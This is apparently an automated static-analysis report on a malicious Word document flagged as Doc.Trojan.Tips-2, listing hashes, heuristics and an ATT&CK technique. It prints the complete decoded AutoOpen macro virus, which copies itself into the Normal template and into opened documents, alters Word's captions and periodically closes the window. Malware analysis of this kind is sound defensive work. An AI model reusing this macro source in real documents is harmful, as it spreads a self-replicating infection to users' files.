Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 42456f02da9cbaee…

MALICIOUS

Office (OLE)

43.0 KB Created: 2000-08-22 22:00:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: afbd243c02a0ee52684100e164878bb9 SHA-1: 2cd8d4c67ae5d5d6b0a7187472bc3f9b491d9d74 SHA-256: 42456f02da9cbaeee7bfdf7dea3fd71e6caae989c30cefaadf62b52526d1bc01
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Word document containing a legacy WordBasic AutoOpen macro. This macro is designed to execute automatically when the document is opened, indicating an attempt to run arbitrary code. The ClamAV detection 'Doc.Trojan.Tips-2' further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Tips-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Tips-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3431 bytes
SHA-256: ba31abec9cdf07cf770a07de4b53a7ff68ad69f67f9595ce80255bfcf3b28bca
Detection
ClamAV: Doc.Trojan.Tips-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Sub AutoOpen()
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.AutoOpen.AutoOpen"
'
' AutoOpen Macro
' Macro created 01/18/99 by BILLGATES FROM MICROSOFT
'
Dim newstr, filenme, oldstr, normal_template As String
Dim o_docname, n_docname As String
Dim source_name, target_name, temp_var As String
Dim cond_name As String
Dim vrbl As Integer
Dim i As Integer
Dim j As Long
Dim cntnr As Object

Dim retval

Set cntnr = MacroContainer
'MsgBox cntnr.Name & "  Is the container of this running code", vbCritical
cond_name = cntnr.Name


On Error GoTo err1

newstr = Application.ActiveWindow.Caption
filenme = newstr
newstr = newstr & " " & " "
Application.Caption = "TATA INFOTECH ONLINE Microsoft Word"
oldstr = newstr
Application.ActiveWindow.Caption = newstr
Application.StatusBar = "Remember Microsoft Word is a Product of Nova software systems."
o_docname = Application.ActiveDocument.Path
o_docname = o_docname & "\" & Application.ActiveDocument.Name
 

' ********* getting the source file name **********

If cond_name = Application.NormalTemplate.Name Then
 'MsgBox "Condition One", vbCritical
 
 source_name = Application.NormalTemplate.Path
 source_name = source_name & "\" & Application.NormalTemplate.Name

' ********* getting the target file name ***********

target_name = Application.ActiveDocument.Path
target_name = target_name & "\" & Application.ActiveDocument.Name

Else

'MsgBox "Condition Two", vbCritical

source_name = Application.ActiveDocument.Path
source_name = source_name & "\" & Application.ActiveDocument.Name
 
target_name = Application.NormalTemplate.Path
target_name = target_name & "\" & Application.NormalTemplate.Name

End If


'MsgBox source_name & " " & target_name
'on counter set to four then message and counter = 0

temp_var = System.PrivateProfileString("C:\micros.Ini", "MacroSettings", _
    "LastFile")
vrbl = Val(temp_var)

If vrbl = "8" Then
vrbl = 0
System.PrivateProfileString("C:\Micros.Ini", "MacroSettings", _
    "LastFile") = Str(vrbl)
 Set BLN = Assistant.NewBalloon
 
 
With BLN
    .Heading = "Tips of the Day"
    .BalloonType = msoBalloon
    .Mode = msoModeModal
    .Icon = msoIconAlert
    .Button = msoButtonSetOK
    
     retval = .Show
End With
Application.ActiveWindow.Close
End If

vrbl = vrbl + 1
System.PrivateProfileString("C:\Micros.Ini", "MacroSettings", _
    "LastFile") = Str(vrbl)

'MsgBox System.PrivateProfileString("C:\VirSet.Ini", "MacroSettings", _
    "LastFile")

normal_template = Application.NormalTemplate.Name




On Error GoTo err0

Application.OrganizerCopy source_name, target_name, "AutoOpen", wdOrganizerObjectProjectItems
Application.OrganizerCopy source_name, target_name, "BILLGATES", wdOrganizerObjectProjectItems

If target_name = normal_template Then
Application.NormalTemplate.Save
End If

Application.ActiveDocument.Save










'MsgBox o_docname
'MsgBox Application.ActiveDocument.Name





err0:
'MsgBox Err.Description

Exit Sub


err1:


End Sub


Attribute VB_Name = "BILLGATES"